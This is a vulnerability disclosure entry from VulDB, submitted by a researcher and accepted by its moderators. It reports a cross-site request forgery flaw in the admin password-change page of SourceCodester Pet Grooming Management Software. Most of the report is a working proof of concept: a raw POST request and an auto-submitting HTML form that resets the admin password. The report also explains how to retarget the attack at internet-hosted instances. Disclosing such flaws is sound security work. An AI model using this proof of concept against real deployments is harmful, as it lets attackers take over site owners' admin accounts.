| Titre | SourceCodester Pet Grooming Management Software 0 Cross-Site Request Forgery |
|---|
| Description | During the assessment of the Pet Grooming Management Software, it has been observed that the application does not require the current admin user for the previous password. As there is no validation it is possible to conduct a CSRF attack on a new password reset + there is no session validation. Thus, any session value can be passed and once the user clicks on the link, the password is set to the new password. Thus, enabling the threat actors to take over the admin account. While the username is required to be known by the attackers, in this case its default user account but it is not required to be passed in the request.
Below is the POC code that can be executed once the user has an active session on the website.
POST REQUEST BODY
-------------------------------------
POST /admin/change_pass.php HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=64ffdlighkvkue7293bgv3a4rv
Content-Length: 345
Cache-Control: max-age=0
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Origin: https://dr-batata.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNikxvXA2QrQOAFmK
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://dr-batata.local/admin/change_pass.php
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
------WebKitFormBoundaryNikxvXA2QrQOAFmK
Content-Disposition: form-data; name="password"
admin@124
------WebKitFormBoundaryNikxvXA2QrQOAFmK
Content-Disposition: form-data; name="password"
admin@124
------WebKitFormBoundaryNikxvXA2QrQOAFmK
Content-Disposition: form-data; name="update"
------WebKitFormBoundaryNikxvXA2QrQOAFmK--
CSRF POC
-------------------
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://dr-batata.local/admin/change_pass.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="password" value="admin@123" />
<input type="hidden" name="password" value="admin@123" />
<input type="hidden" name="update" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
This has been tested in the local environment, in case of remote exploits the Host header value will be changed to the one hosted over the internet. |
|---|
| Utilisateur | Kamran Saifullah (UID 4218) |
|---|
| Soumission | 20/09/2025 03:45 (il y a 10 mois) |
|---|
| Modérer | 26/09/2025 11:41 (6 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 326088 [SourceCodester Pet Grooming Management Software 1.0 cross site request forgery] |
|---|
| Points | 17 |
|---|